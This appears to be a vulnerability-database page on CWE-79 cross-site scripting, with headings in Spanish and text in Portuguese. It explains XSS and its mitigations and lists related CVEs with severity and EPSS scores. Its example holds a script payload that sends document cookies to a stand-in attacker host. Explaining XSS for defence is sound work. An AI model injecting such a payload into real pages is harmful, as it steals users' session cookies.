Fallos del tipo CWE-79

30.663 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-24383—WP Google Maps < 8.1.12 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 2.5%CVE-2023-52327MEDIUMCertain dashboard widgets on Trend Micro Apex Central (on-premise) are vulnerable to cross-site scripting (XSS) attacks that may allow an atEPSS 2.5%CVE-2023-52326MEDIUMCertain dashboard widgets on Trend Micro Apex Central (on-premise) are vulnerable to cross-site scripting (XSS) attacks that may allow an atEPSS 2.5%CVE-2023-52328MEDIUMCertain dashboard widgets on Trend Micro Apex Central (on-premise) are vulnerable to cross-site scripting (XSS) attacks that may allow an atEPSS 2.5%CVE-2020-1055MEDIUMMicrosoft Active Directory Federation Services Cross-Site Scripting VulnerabilityEPSS 2.5%CVE-2023-2317HIGHTypora DOM-Based Cross-site Scripting leading to Remote Code ExecutionEPSS 2.4%CVE-2018-19787MEDIUMAn issue was discovered in lxml before 4.2.5. lxml/html/clean.py in the lxml.html.clean module does not remove javascript: URLs that use escEPSS 2.4%CVE-2021-34643MEDIUMSkaut bazar <= 1.3.2 Reflected Cross-Site ScriptingEPSS 2.4%CVE-2024-55890MEDIUMD-Tale allows Remote Code Execution through the Custom Filter InputEPSS 2.4%CVE-2022-0710MEDIUMHeader Footer Code Manager <= 1.1.16 Reflected XSSEPSS 2.4%CVE-2023-52330MEDIUMA cross-site scripting vulnerability in Trend Micro Apex Central could allow a remote attacker to execute arbitrary code on affected installEPSS 2.4%CVE-2021-36738—XSS vulnerability in the JSP version of the Apache Pluto Applicant MVCBean CDI portletEPSS 2.4%CVE-2021-36737—XSS in V3 Demo PortletEPSS 2.4%CVE-2021-36739MEDIUMXSS vulnerability in the MVCBean JSP portlet maven archetypeEPSS 2.4%CVE-2022-28221MEDIUMCleanTalk AntiSpam <= 5.173 Reflected XSSEPSS 2.4%CVE-2016-8613MEDIUMA flaw was found in foreman 1.5.1. The remote execution plugin runs commands on hosts over SSH from the Foreman web UI. When a job is submitEPSS 2.4%CVE-2020-26257MEDIUMDenial of service attack via incorrect parameters to federation APIsEPSS 2.4%CVE-2022-0928MEDIUMCross-site Scripting (XSS) - Stored in microweber/microweberEPSS 2.4%CVE-2023-4382LOWtdevs Hyip Rio Profile Settings settings cross site scriptingEPSS 2.4%CVE-2023-6275LOWTOTVS Fluig Platform mobileredir openApp.jsp cross site scriptingEPSS 2.4%